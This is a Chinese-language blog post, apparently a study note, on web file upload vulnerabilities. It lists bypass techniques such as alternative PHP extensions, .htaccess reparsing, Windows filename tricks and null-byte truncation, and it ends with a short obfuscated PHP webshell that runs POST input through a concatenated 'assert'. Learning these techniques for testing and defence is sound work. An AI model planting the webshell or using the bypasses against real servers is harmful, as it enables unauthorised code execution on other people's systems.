Learn file upload vulnerability | Network security

本文授权自 MagicBoy

Learn file upload vulnerability | Network security


1.文件上传漏洞条件

  1. 上传文件的名称、后缀名、内容用户可以自定义设置;

  2. 上传文件的路径可以获取;

  3. 上传文件所在文件夹具备可执行权限;

2. Bypass 技巧

  1. 前端过滤
    抓包修改后缀名、禁用JS

  2. 类型过滤
    上传图片马、修改后缀名
    制作图片马: copy 1.jpg/b+muma.php/a muma.jpg
    图片类文件头: GIF89a

  3. 黑名单过滤
    禁用php后缀名时,使用畸形后缀名:phtml、php3、php4、php5、pht、php2

  4. 上传 .htaccess 文件,更改解析配置
    AddType application/x-httpd-php .jpg:将 jpg 文件当成 php 进行解析

配置方式:
1. 将 httpd.config 中的 Option FollowSymLinks 从 AllowOverride None 修改为 ALLowOverride all
2. 将 LoadModule rewrite_module modules/mod_rewrite.so 前的 # 去除
  1. windows特性绕过
    windows保存文件时,后缀末尾不会保存 .空格::$DATA
    可以尝试将 muma.php 修改为:muma.php.、muma.php空格muma.php.空格.、muma.php::$DATA

  2. 大小写绕过
    php 修改为 phPpHp
    将禁用的函数 eval 等进行大小写

  3. 双写绕过

  4. %00截断
    对 php 版本和配置有要求。PHP版本=5.2.17,且 php.ini 中 magic_quotes_gpc Off

  5. 一些小知识

图片类文件头: GIF89a

命令执行函数:

函数名作用
eval命令执行
system命令执行
assert与eval类似,assert函数是直接将传入的参数字符串当成PHP代码直接
exec命令执行,需要打印输出执行结果,且它只会输出最后一行的内容

读取文件cattaclessmoreheadtailstringspastenl//

变量拼接

assert, system 可以动态拼接(php 版本小于8),eval 不可以

<?php 
$a = "ass";
$b = "ert";
$c = $a.$b;
$c($_POST['c']);
?>

如有侵权,请联系作者删除

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小饅頭

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值